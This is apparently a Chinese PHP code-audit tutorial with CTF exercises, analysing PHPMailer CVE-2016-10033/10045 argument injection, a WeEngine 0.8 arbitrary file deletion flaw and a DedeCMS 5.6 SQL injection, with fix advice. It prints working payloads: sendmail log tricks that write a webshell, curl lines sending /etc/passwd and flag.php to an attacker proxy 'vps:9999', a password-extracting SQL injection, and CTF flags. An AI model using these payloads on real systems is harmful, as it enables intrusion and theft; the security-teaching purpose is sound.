【代码审计】PHP代码审计2

postcard

题目叫做明信片,代码如下:

漏洞解析

这道题其实是考察由 php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:

1
2
3
4
5
6
7
bool mail (
string $to ,
string $subject ,
string $message [,
string $additional_headers [,
string $additional_parameters ]]
)

其参数含义分别表示如下:

  • to,指定邮件接收者,即接收人
  • subject,邮件的标题
  • message,邮件的正文内容
  • additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
  • additional_parameters,指定传递给发送程序sendmail的额外参数。

在Linux系统上, phpmail 函数在底层中已经写好了,默认调用 Linuxsendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:

  • -O option = value

    QueueDirectory = queuedir 选择队列消息

  • -X logfile

    这个参数可以指定一个目录来记录发送邮件时的详细日志情况。

  • -f from email

    这个参数可以让我们指定我们发送邮件的邮箱地址。

举个简单例子方便理解:

上面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:

1
2
3
4
5
6
7
17220 <<< To: Alice@example.com
17220 <<< Subject: Hello Alice!
17220 <<< X-PHP-Originating-Script: 0:test.php
17220 <<< CC: somebodyelse@example.com
17220 <<<
17220 <<< <?php phpinfo(); ?>
17220 <<< [EOF]

当然这题如果只是这一个问题的话,会显的太简单了,我们继续往下看,在 第3行 有这样一串代码

1
filter_var($email, FILTER_VALIDATE_EMAIL)

这串代码的主要作用,是确保在第5个参数中只使用有效的电子邮件地址 $email 。我们先了解一下 filter_var() 函数的定义:

filter_var :使用特定的过滤器过滤一个变量

1
mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

功能 :这里主要是根据第二个参数filter过滤一些想要过滤的东西。

关于 filter_var()FILTER_VALIDATE_EMAIL 这个选项作用,我们可以看看这个帖子 PHP FILTER_VALIDATE_EMAIL 。这里面有个结论引起了我的注意: none of the special characters in this local part are allowed outside quotation marks ,表示所有的特殊符号必须放在双引号中。 filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。下面举个简单的例子,方便理解:

当然由于引入的特殊符号,虽然绕过了 filter_var() 针对邮箱的检测,但是由于PHP的 mail() 函数在底层实现中,调用了 escapeshellcmd() 函数,对用户输入的邮箱地址进行检测,导致即使存在特殊符号,也会被 escapeshellcmd() 函数处理转义,这样就没办法达到命令执行的目的了。 escapeshellcmd() 函数在底层代码如下(详细点 这里 ):

因此我们继续往下看,在第七行有这样一串代码:

1
return escapeshellarg($email);

这句代码主要是处理 $email 传入的数据。我们先来看一下 escapeshellarg 函数的定义:

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)

定义string escapeshellarg ( string $arg )

具体功能作用,可以参考如下案例:

那我们前面说过了PHP的 mail() 函数在底层调用了 escapeshellcmd() 函数对用户输入的邮箱地址进行处理,即使我们使用带有特殊字符的payload,绕过 filter_var() 的检测,但还是会被 escapeshellcmd() 处理。然而 escapeshellcmd()escapeshellarg 一起使用,会造成特殊字符逃逸,下面我们给个简单例子理解一下:

详细分析一下这个过程:

  1. 传入的参数是

    1
    127.0.0.1' -v -d a=1
  2. 由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:

    1
    '127.0.0.1'\'' -v -d a=1'
  3. 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 以及 a=1' 中的单引号进行转义处理,结果如下所示:

    1
    '127.0.0.1'\\'' -v -d a=1\'
  4. 由于第三步处理之后的payload中的 \\ 被解释成了 \ 而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分,具体如下所示:

所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1' ,即向 127.0.0.1\ 发起请求,POST 数据为 a=1'

总结一下,这题实际上是考察绕过 filter_var() 函数的邮件名检测,通过 mail 函数底层实现中调用的 escapeshellcmd() 函数处理字符串,再结合 escapeshellarg() 函数,最终实现参数逃逸,导致 远程代码执行

实例分析

这里实例分析选择 PHPMailer 命令执行漏洞CVE-2016-10045CVE-2016-10033 )。项目代码可以通过以下方式下载:

1
2
3
git clone https://github.com/PHPMailer/PHPMailer
cd PHPMailer
git checkout -b CVE-2016-10033 v5.2.17

CVE-2016-10045

漏洞原理

在github上直接diff一下,对比一下不同版本的 class.phpmailer.php 文件,差异如下:

这里在 sendmailSend 函数中加了 validateAddress 函数,来针对发送的数据进行判断,判断邮箱地址的合法性。另外针对传入的数据,调用了 escapeshellarg 函数来转义特殊符号,防止注入参数。然而这样做,就引入了我们上面讨论的问题,即同时使用 escapeshellarg 函数和 escapeshellcmd() 函数,导致单引号逃逸。由于程序没有对传命令参数的地方进行转义,所以我们可以结合 mail 函数的第五个参数 -X 写入 webshell

下面详细看一下代码,漏洞具体位置在 class.phpmailer.php 中,我们截取部分相关代码如下 :

在上图第12行处没有对 $params 变量进行严格过滤,只是简单地判断是否为 null ,所以可以直接传入命令。我们继续往下看,我们发现在上图第12行,当 safe_mode 模式处于关闭状态时, mail() 函数才会传入 $params 变量。
进一步跟跟进 $params 参数,看看它是怎么来的。这个参数的位置在 class.phpmailer.php 中,我们截取部分相关代码,具体看下图 第11行

很明显 $params 是从 $this->Sender 传进来的,我们找一下 $this->Sender ,发现这个函数在 class.phpmailer.php 中,截取部分相关代码,具体看下图 第10行

这里在 setFrom 函数中将 $address 经过某些处理之后赋值给 $this->Sender 。我们详细看看 $address 变量是如何处理的。主要处理函数均在 class.phpmailer.php 文件中,我们截取了部分相关代码,在下图 第三行 中使用了 validateAddress 来处理 $address 变量。

所以跟进一下 validateAddress 函数,这个函数位置在 class.phpmailer.php 文件中。我们看看程序流程,相关代码如下:

分析一下这段代码,大概意思就是对环境进行了判断,如果没有 prce 并且 php 版本 <5.2.0 ,则 $patternselect = ‘noregex’ 。接着往下看,在 class.phpmailer.php 文件中,有部分关于 $patternselectswich 操作,我只选择了我们需要的那个,跟踪到下面的 noregex

这里简单的只是根据 @ 符号来处理字符,所以这里的payload很简单。

1
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

然后通过 linux 自身的 sendmail 写log的方式,把log写到web根目录下。将日志文件后缀定义为 .php ,即可成功写入webshell。

CVE-2016-10045

diff一下5.2.20和5.2.18发现针对 escapeshellcmdescapeshellarg 做了改动。

这里其实有个很奇妙的漏洞,针对用户输入使用 escapeshellarg 函数进行处理。所以,在最新版本中使用之前的 payload 进行攻击会失败,例如:

1
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

但是,却可以使用下面这个 payload 进行攻击:

1
a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com

实际上,可用于攻击的代码只是在之前的基础上多了一个单引号。之所以这次的攻击代码能够成功,是因为修复代码多了 escapeshellcmd 函数,结合上 mail() 函数底层调用的 escapeshellarg 函数,最终导致单引号逃逸。

我们的 payload 最终在执行时变成了

1
'-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\'

按照刚才上面的分析,我们将payload化简分割一下就是-fa\(-OQueueDirectory=/tmp-X/var/www/html/test.php)@a.com',这四个部分。最终的参数就是这样被注入的。

漏洞利用

漏洞有一些基本要求:
1、php version < 5.2.0
2、phpmailer < 5.2.18
3、php 没有安装 pcre(no default)
4、safe_mode = false(default)

存在正则绕过之后,以及 escapeshellargescapeshellcmd 一起使用造成的神奇现象之后。

只需要 phpmailer < 5.2.20

环境,poc,exp相关

修复建议

我们来看一下 PHPMailer 官方给出的修复代码。官方对用户传入的参数进行检测,如果当中存在被转义的字符,则不传递 -f 参数(**-f** 参数表示发邮件的人,如果不传递该参数,我们的payload就不会被带入 mail 函数,也就不会造成命令执行),所以不建议大家同时使用 escapeshellcmd()escapeshellarg() 函数对参数进行过滤,具体修复代码如下:

题目

看完了上述分析,不知道大家是否对 escapeshellarg()escapeshellcmd() 两个函数一起使用所产生的问题,有了更加深入的理解,文中用到的代码可以从 这里 下载,当然文中若有不当之处,还望各位斧正。如果你对我们的项目感兴趣,欢迎发送邮件到 hongrisec@gmail.com 联系我们。Day5 的分析文章就到这里,我们最后留了一道CTF题目给大家练手,题目如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//index.php
<?php
highlight_file('index.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}

if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}
}
?>

这道题主要考察全局变量覆盖,结合 unset 函数绕过waf,以及通过 curl 读取文件,接下来我们将代码分为两个部分看看吧。我们看到 第11行-14行 有这样一串代码:

1
2
3
4
5
6
7
8
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}

}

分析一下这串代码的逻辑:
首先 第一行 ,循环获取字符串 GET、POST、COOKIE ,并依次赋值给变量 $__R 。在 第二行 中先判断 $$__R 变量是否存在数据,如果存在,则继续判断超全局数组 GET、POST、COOKIE 中是否存在键值相等的,如果存在,则删除该变量。这里有个 可变变量 的概念需要先理解一下。可变变量指的是:一个变量的变量名可以动态的设置和使用。一个可变变量获取了一个普通变量的值作为其变量名。

这里使用 $$ 将通过 变量a 获取到的数据,注册成为一个新的变量(这里是 变量hello )。然后会发现变量 $$a 的输出数据和变量 $hello 的输出数据一致(如上图,输出为 world )。

我通过 GET 请求向 index.php 提交 flag=test ,接着通过 POST 请求提交 _GET[flag]=test 。当开始遍历 $_POST 超全局数组的时候, $__k 代表 _GET[flag] ,所以 $$__k 就是 $_GET[flag] ,即 test 值,此时 $$__k == $__v 成立,变量 $_GET[flag] 就被 unset 了。但是在 第21行22行 有这样一串代码:

1
2
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);

extract 函数的作用是将对象内的键名变成一个变量名,而这个变量对应的值就是这个键名的值, EXTR_SKIP 参数表示如果前面存在此变量,不对前面的变量进行覆盖处理。由于我们前面通过 POST 请求提交 _GET[flag]=test ,所以这里会变成 $_GET[flag]=test ,这里的 $_GET 变量就不需要再经过 waf 函数检测了,也就绕过了 preg_match(‘/flag/i’,$key) 的限制。下面举个 extract 函数用例:

接着到了24行比较两个变量的md5值,我们构造出2个0e开头的md5即可绕过,这样就进入第二阶段。

第二阶段主要考察 curl 读取文件。这里主要加了两个坑,我们之前说过的两个函数 escapeshellarg()escapeshellcmd() 一起使用的时候会造成的问题,主要看看这部分代码。

1
2
3
4
5
6
7
8
9
10
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
system("curl ".$url);
}

这里的 第8行第9行 增加了两个过滤。

  • escapeshellarg ,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
  • escapeshellcmd ,会对以下的字符进行转义&#;|*?~<>^()[]{}$, x0AxFF, '"仅在不配对儿的时候被转义。

在字符串增加了引号同时会进行转义,那么之前的payload

1
http://127.0.0.1/index1.php?url=http://127.0.0.1 -T /etc/passwd

因为增加了 进行了转义,所以整个字符串会被当成参数。注意 escapeshellcmd 的问题是在于如果 仅在不配对儿的时候被转义。那么如果我们多增加一个 就可以扰乱之前的转义了。如下:

curl 中存在 -F 提交表单的方法,也可以提交文件。 -F <key=value> 向服务器POST表单,例如: curl -F “web=@index.html;type=text/html” url.com 。提交文件之后,利用代理的方式进行监听,这样就可以截获到文件了,同时还不受最后的的影响。那么最后的payload为:

1
http://baidu.com/' -F file=@/etc/passwd -x  vps:9999

这里应该是和 curl 版本有关系,我在 **7.54.0 ** 下没有测试成功。

题目中的 curl 版本是 7.19.7

根据猜测,可能在是新版本中,先会执行 curl http 的操作,但是由于在后面增加了,例如 http://127.0.0.1, 但是curl无法找到这样的文件,出现404。出现404之后,后面的提交文件的操作就不进行了,程序就退出了。这样在vps上面就无法接受到文件了。

解题payload:

所以这题最后的 payload 是这样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php?flag=QNKCDZO&hongri=s878926199a&url=http://baidu.com/' -F file=@/var/www/html/flag.php -x  vps:9999 HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=om11lglr53tm1htliteav4uhk4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 112

_GET[flag]=QNKCDZO&_GET[hongri]=s878926199a&_GET[url]=http://baidu.com/' -F file=@/var/www/html/flag.php -x vps:9999

phpmailer RCE漏洞分析
PHP escapeshellarg()+escapeshellcmd() 之殇
PHPMailer 命令执行漏洞(CVE-2016-10033)分析

Forst Pattern

题目叫福斯特模式,代码如下

漏洞解析

这一关考察的内容是由正则表达式不严谨导致的任意文件删除漏洞, 导致这一漏洞的原因在 第19行preg_replace 中的 pattern 部分 ,该正则表达式并未起到过滤目录路径字符的作用。[^a-z.-_] 表示匹配除了 a 字符到 z 字符、**.** 字符到 _ 字符之间的所有字符。因此,攻击者还是可以使用点和斜杠符号进行路径穿越,最终删除任意文件,例如使用 payloadaction = delete&data = ../../ config.php,便可删除 config.php 文件。

preg_replace:(PHP 4, PHP 5, PHP 7)

功能 : 函数执行一个正则表达式的搜索和替换

定义mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功将其替换成 replacement

实例分析

本次实例分析,我们选取的是 WeEngine0.8 版本。漏洞入口文件为 web/source/site/category.ctrl.php ,我们可以看到下图 14行 处调用了 file_delete 函数,而这是一个文件删除相关操作,我们可以看一下该函数的具体定义。下图是入口文件代码:

file_delete 这一函数可以在 framework/function/file.func.php 文件中找到,该方法功能用于检测文件是否存在,如果存在,则删除文件。但是查看上下文发现,程序并没有对文件名 $file 变量进行过滤,所以文件名就可以存在类似 ../ 这种字符,这样也就引发任意文件删除漏洞,file_delete 函数代码如下:

现在我们在回溯回去,看看 $file 变量从何处来。实际上,上图的 $file 变量对应的是 $row[‘icon’] 的值,也就是说如果我们可以控制 $row[‘icon’] 的值,就可以删除任意文件。那么我们来看看 $row 变量从何而来。该变量就在我们刚刚分析的第一张图片中( web/source/site/category.ctrl.php 文件),该值为变量 $navs 中的元素值,具体代码如下:

我们再往上看,即可找到 $navs 变量的取值情况。可以看到 $navs 变量的是从数据库 site_nav 表中取出的,包含了 iconid 两个字段,具体代码如下:

1
$navs = pdo_fetchall("SELECT icon, id FROM ".tablename('site_nav')." WHERE id IN (SELECT nid FROM ".tablename('site_category')." WHERE id = {$id} OR parentid = '$id')", array(), 'id');

现在我们要做的,就是找找看数据库中的这两个字段是否可以被用户控制。我们继续往前查找,发现了如下代码:

site_nav 表中的数据,对应的是 $nav 变量。我们继续往上寻找 $nav 变量,发现 $nav[‘icon’] 变量是从 $_GPC[‘iconfile’] 来的,即可被用户控制( 下图 第21行 )。这里的 $nav[‘icon’] 变量,其实就是我们文章开头分析的传入 file_delete 函数的参数,具体代码如下:

由于 $nav[‘icon’] 变量可被用户控制,程序有没有对其进行消毒处理,直接就传入了 file_delete 函数,最终导致了文件删除漏洞。至此,我们分析完了整个漏洞的发生过程,接下看看如何进行攻击。

漏洞验证

访问url:http://xxx.xxx.xxx.xxx/WeEngine/web/index.php?c=account&a=display ,点击管理公众号:

找到分类设置,点击添加文章分类。这里对应的url为:http://xxx.xxx.xxx.xxx/WeEngine/web/index.php?c=site&a=category,实际上表示 site 控制器的 category 模块,即对应 category.ctrl.php 文件。

选择对应的内容,进入 if($isnav) 判断:

在上传图标位置输入要删除文件的路径

我们建立 delete.txt 文件,用于测试任意文件删除:

我们点击删除时,就会调用 file_delete 函数,同时就会删除掉我们插入到数据库中的图片名:

这个类型任意文件删除有点类似于二次注入,在添加分类时先把要删除的文件名称插入到数据库中,然后点击删除分类时,会从数据库中取出要删除的文件名。

修复建议

漏洞是没有对 $row['icon'] 参数进行过滤,可以将文件名内容加入目录阶层字符,造成任意文件删除漏洞,所以我们要在传入的参数中过滤”../“等目录阶层字符,避免目录穿越,删除其他文件夹下文件。我们在修复中可以过滤掉 $row['icon'] 中的目录穿越字符,引入我们自定义的一个函数 checkstr 函数。同时 $row['icon'] 只是文件的名称,并非是一个路径,因此过滤字符并不会影响到实际功能,对此修复意见我们提供如下代码:

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// index.php
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
1
2
// flag.php
<?php $flag = "HRCTF{Pr3g_R3plac3_1s_Int3r3sting}";?>

这道题目实际上考察的是大家是否熟悉PHP正则表达式的字符类,当然还涉及到一些弱类型比较问题。大家可以先查阅一下PHP手册对这些字符类的定义,具体可点 这里

alnum 字母和数字
alpha 字母
ascii 0 - 127的ascii字符
blank 空格和水平制表符
cntrl 控制字符
digit 十进制数(same as \d)
graph 打印字符, 不包括空格
lower 小写字母
print 打印字符,包含空格
punct 打印字符, 不包括字母和数字
space 空白字符 (比\s多垂直制表符)
upper 大写字母
word 单词字符(same as \w)
xdigit 十六进制数字

题目中总共有三处正则匹配,我们分别来看一下其对应的含义。
第一处的正则 /^[[:graph:]]{12,}$/ 为:匹配到可打印字符12个以上(包含12),^ 号表示必须以某类字符开头,**$** 号表示必须以某类字符结尾。

第二处正则表达式:

1
2
3
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;

表示字符串中,把连续的符号、数字、大写、小写,作为一段,至少分六段,例如我们输入 H0ng+Ri 则匹配到的子串为 H 0 ng + R i

第三处的正则表达式:

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

表示为输入的字符串至少含有符号、数字、大写、小写中的三种类型。然后题目最后将 $password 与42进行了弱比较。所以我们的payload为:

1
2
password=42.00e+00000
password=420.00000e-1

网络上还有一种解法是: password=\x34\x32\x2E ,但是这种解法并不可行,大家可以思考一下为什么。

在 PHP 中,提交形如 password=\x34\x32\x2E 的 payload 是不可行的,主要因为这种表达方式并不会被 PHP 以你可能预期的方式解释。

  1. 解析方式:在 PHP 中,字符串 \x34\x32\x2E 会被直接当作普通字符串处理,而不是解释为它们对应的 ASCII 字符。这意味着 \x34 不会被解释为数字 “4”,\x32 不会被解释为数字 “2”,\x2E 不会被解释为点号 “.”。因此,这个字符串实际上是由 \x34\x32\x2E 组成的原始文本,而不是你可能期待的 “42.”。
  2. 正则表达式匹配:因为字符串是按原样处理的,所以在 preg_match('/^[[:graph:]]{12,}$/', $password) 这一步,检查密码是否符合至少12个可打印字符的规则时,\x34\x32\x2E 这个字符串不会满足条件。即使它的长度可能超过12个字符,这些字符并不全部是可打印字符。
  3. 类型弱比较:即便这个字符串能够通过前面的正则表达式验证,PHP 在与 “42” 进行弱类型比较时,也会将 \x34\x32\x2E 视为一个普通字符串,这并不会被自动转换成数值 42。PHP 中的弱类型比较通常涉及到数字字符串和整数之间的比较,例如 “42” 与 42 或 “42.0” 与 42 等,但不会将包含非数字字符的字符串视为数值。

PS:在 代码审计Day6 - 正则使用不当导致的路径穿越问题 的文章评论下面,我们提及了一个经典的通过正则写配置文件的案例,这个案例具体怎么绕过并写入shell,大家可以参考 这里

Bell

题目叫做钟,代码如下:

漏洞解析

这一关其实是考察变量覆盖漏洞,⽽导致这⼀漏洞的发⽣则是不安全的使⽤ parse_str 函数。 由于 第21行 中的 parse_str() 调用,其行为非常类似于注册全局变量。我们通过提交类似 config[dbhost]=127.0.0.1 这样类型的数据,这样因此我们可以控制 getUser() 中第5到8行的全局变量 $config 。如果目标存在登陆验证的过程,那么我们就可以通过变量覆盖的方法,远程连接我们自己的mysql服务器,从而绕过这块的登陆验证,进而进行攻击。我们来看看PHP官方对 parse_str 函数的定义:

parse_str

功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。

定义void parse_str( string $encoded_string [, array &$result ] )

如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。

实例分析

本次实例分析,我们选取的是 DedeCmsV5.6 版本。该版本的buy_action.php处存在SQL注入漏洞,这里其实和 parse_str 有很大关系,下⾯我们来看看具体的漏洞位置。

官网于20140225发布了V5.7.36 正式版0225常规更新补丁,这里面的改动一共四个文件 dede/sys_info.phpdede/templets/sys_info.htminclude/uploadsafe.inc.phpmember/buy_action.php 。这里我们关注一下 member/buy_action.php 这个文件的改动情况。

diff一下补丁和源文件:(这里采用sublime的FileDiffs插件来进行diff对比)

改动部分,主要针对加密函数的强度进行了加强,所以做一个推断这个漏洞应该是由于 mchStrCode 这个编码方法造成的。在读这个函数时发现,如果在我们知道 cfg_cookie_encode 的情况下,被编码字符串是可以被逆推出来的。

这个漏洞在乌云上爆出来的时候,是sql注入,所以我推断可能在调用这个编码函数进行解码的地方,解码之后可能没有任何过滤和绕过,又或者可以可绕过过滤,导致sql语句拼接写入到了数据库,而且这里解码的函数可以被攻击者控制,从而导致了SQL注入的产生。

原理分析

我们全局搜索一下哪些地方调用了这个 mchStrCode 函数,发现有三处(可以用sublime Ctrl+Shitf+F 进行搜索):

第17行 (上图)的 parse_str 引起了我的兴趣,看一下这一小段代码做了些什么(下图第4行处):

我们重点来看if语句开始时的三行代码, mchStrCode 是我们在上一小节通过对比补丁发现变化的函数。也就是说,这个函数可以编码或者解码用户提交的数据,而且 $pd_encode 也是我们可以控制的变量。

parse_str 方法将解码后 $pd_encode 中的变量放到 $mch_Post 数组中,之后的 foreach 语句存在明显的变量覆盖,将 $mch_Post 中的key定义为变量,同时将key所对应的value赋予该变量。然后,再向下就是执行SQL查询了。

在这个过程中存在一个明显的疏忽是,没有对定义的 key 进行检查,导致攻击者可以通过 mschStrCode 对攻击代码进行编码,从而绕过GPC和其他过滤机制,使攻击代码直达目标。我们再来看看 mchStrCode 函数的代码:

上图我们要注意第三行 $key 值的获取方法:

1
$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

这里将 $_SERVER[“HTTP_USER_AGENT”]$GLOBALS[‘cfg_cookie_encode’] 进行拼接,然后进行md5计算之后取前 18 位字符,其中的 $_SERVER[“HTTP_USER_AGENT”] 是浏览器的标识,可以被我们控制,关键是这个 $GLOBALS[‘cfg_cookie_encode’] 是怎么来的。通过针对补丁文件的对比,发现了 /install/index.php$rnd_cookieEncode 字符串的生成同样是加强了强度, $rnd_cookieEncode 字符串最终也就是前面提到的 $GLOBALS[‘cfg_cookie_encode’]

看看源代码里是怎么处理这个的 $rnd_cookieEncode 变量的。

这段代码生成的加密密匙很有规律,所有密匙数为26^6*(9999-1000)=2779933068224,把所有可能的组合生成字典,用passwordpro暴力跑MD5或者使用GPU来破解,破解出md5过的密匙也花不了多少时间。 当然这个是完全有可能的,但是很耗时间,所以下一步看看有没有办法能够绕过这个猜测的过程,让页面直接回显回来。

利用思路

虽然整个漏洞利用原理很简单,但是利用难度还是很高的,关键点还是如何解决这个 mchStrCodemchStrCode 这个函数的编码过程中需要知道网站预设的 cfg_cookie_encode ,而这个内容在用户界面只可以获取它的MD5值。虽然cfg_cookie_encode的生成有一定的规律性,我们可以使用MD5碰撞的方法获得,但是时间成本太高,感觉不太值得。所以想法是在什么地方可以使用 mchStrCode 加密可控参数,并且能够返回到页面中。所以搜索一下全文哪里调用了这个函数。

于是,我们在 member/buy_action.php 的104行找到了一处加密调用:**$pr_encode = str_replace(‘=’, ‘’, mchStrCode($pr_encode));** 我们来看一下这个分支的整个代码:

这里的 第38行 有一 $tpl->LoadTemplate(DEDEMEMBER.'/templets/buy_action_payment.htm');/templets/buy_action_payment.htm 中,我找到了页面上回显之前加密的 $pr_encode$pr_verify

通过这部分代码,我们可以通过 [cfg_dbprefix=SQL注入] 的提交请求,进入这个分支,让它帮助我来编码 [cfg_dbprefix=SQL注入] ,从而获取相应的 pr_encodepr_verify 。 但是 common.inc.php 文件对用户提交的内容进行了过滤,凡提交的值以cfg、GLOBALS、GET、POST、COOKIE 开头都会被拦截,如下图第11行。

这个问题的解决就利用到了 $REQUEST 内容与 parse_str 函数内容的差异特性。我们url传入的时候通过**[a=1&b=2%26c=3]这样的提交时, $REQUEST 解析的内容就是 [a=1,b=2%26c=3] 。而通过上面代码的遍历进入 parse_str 函数的内容则是 [a=1&b=2&c=3] ,因为 parse_str 函数会针对传入进来的数据进行解码,所以解析后的内容就变成了[a=1,b=2,c=3]**。所以可以通过这种方法绕过 common.inc.php 文件对于参数内容传递的验证。

漏洞利用

访问 buy_action.php 文件,使用如下参数:

1
product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23

其中 productpid 参数是为了让我们进入 mchStrCode 对传入数据进行编码的分支,参数 a 是为了配合上面提到的差异性而随意添加的参数。从 cfg_dbprefix 开始,便是真正的SQL注入攻击代码。 访问该URL后,在页面源码中找到 pd_encodepd_verify 字段的值,由于用户 CookieUser-Agent 不同,所获取的值也不同,然后在页面上找到了 pd_encodepd_verify的值,如下图:

最后再构造一下payload就好了:

1
http://127.0.0.1//dedecms5.6/member/buy_action.php?pd_encode=QEpWVhZbEV9SUkBUEEBfAF8CFlkEA0VbAwVuV1BARFVQDRoOVF1dVzxVAA9TVkBvWUBTFgNHWVdXEjRwIDB0EwMNdhcZRVMBAwwMRw1RCgweE0FVWlVVEEICHAoVAU8MSVcdBR4HGggaXU4CABh/YCx1RUpidn51dWQWJy1mfmwRG097KixycmYYFhhlIS52c2wZQhRcRSRjfH8QUlVSAT1eVVVbVxEYKSt8emYQBhwHTU51fHd2YEtqJCx1GwIZBBkfHEJ1Ynd0Eip2Iy1jfnNkf394OzFweH10c017LSNjcnFkc2JpNydnYxh+YCxtNUJzahJIH1EWR0RmfWddWxBMDAxSR1tUCwEAUFEEBV4JVFEBUVYIHgIHAQRQXAQHCAsLAAIBSFYJBgUGUB0HVwEFCAgUA1UMVlUEVQJWBFIBUAQVc3ZjaCd5MSMAAwIABgYBU1IHDQkBB1IIVVMBBQcdBwUEXVsABwsKAU5QERZBFgFxEwJwQVB1AQELHFIOXUwDBwoeBwIPQVB1TAkMAFoBVlUCAAEWVFRFDANBVWdfWxFLEQtcVg8BAwMGVFMEBg8PBVUAQzJ5Y2F1ZWN/IF9XA1tdBFVeVAcIAlRVDlJVAFtRVV5YC1INAVsHBgpUBBZyAQZWZUtcQCp8WFAXd1dUU2VFARB6dGdmUQh1AVcMAABVAVJSVVcKAABdAlAAA0R1VlZVel9RDQxnWVVcD1INVlICAAICBwQQIAdXVXRWVQpWMQtcVm1vVVt7AFcOAl4IAlANBFUGVlMFBFIHUA&pd_verify=fbe183b4c5a69ac7fb394a4b5cd5cfcb

再次提醒,因为每个人的 cookieUser-Agent 都不一样,所以生成的也不一样,建议大家自己生成一下。

修复建议

为了解决变量覆盖问题,可以在注册变量前先判断变量是否存在,如果使用 extract 函数可以配置第二个参数是 EXTR_SKIP 。使用 parse_str 函数之前先自行通过代码判断变量是否存在。

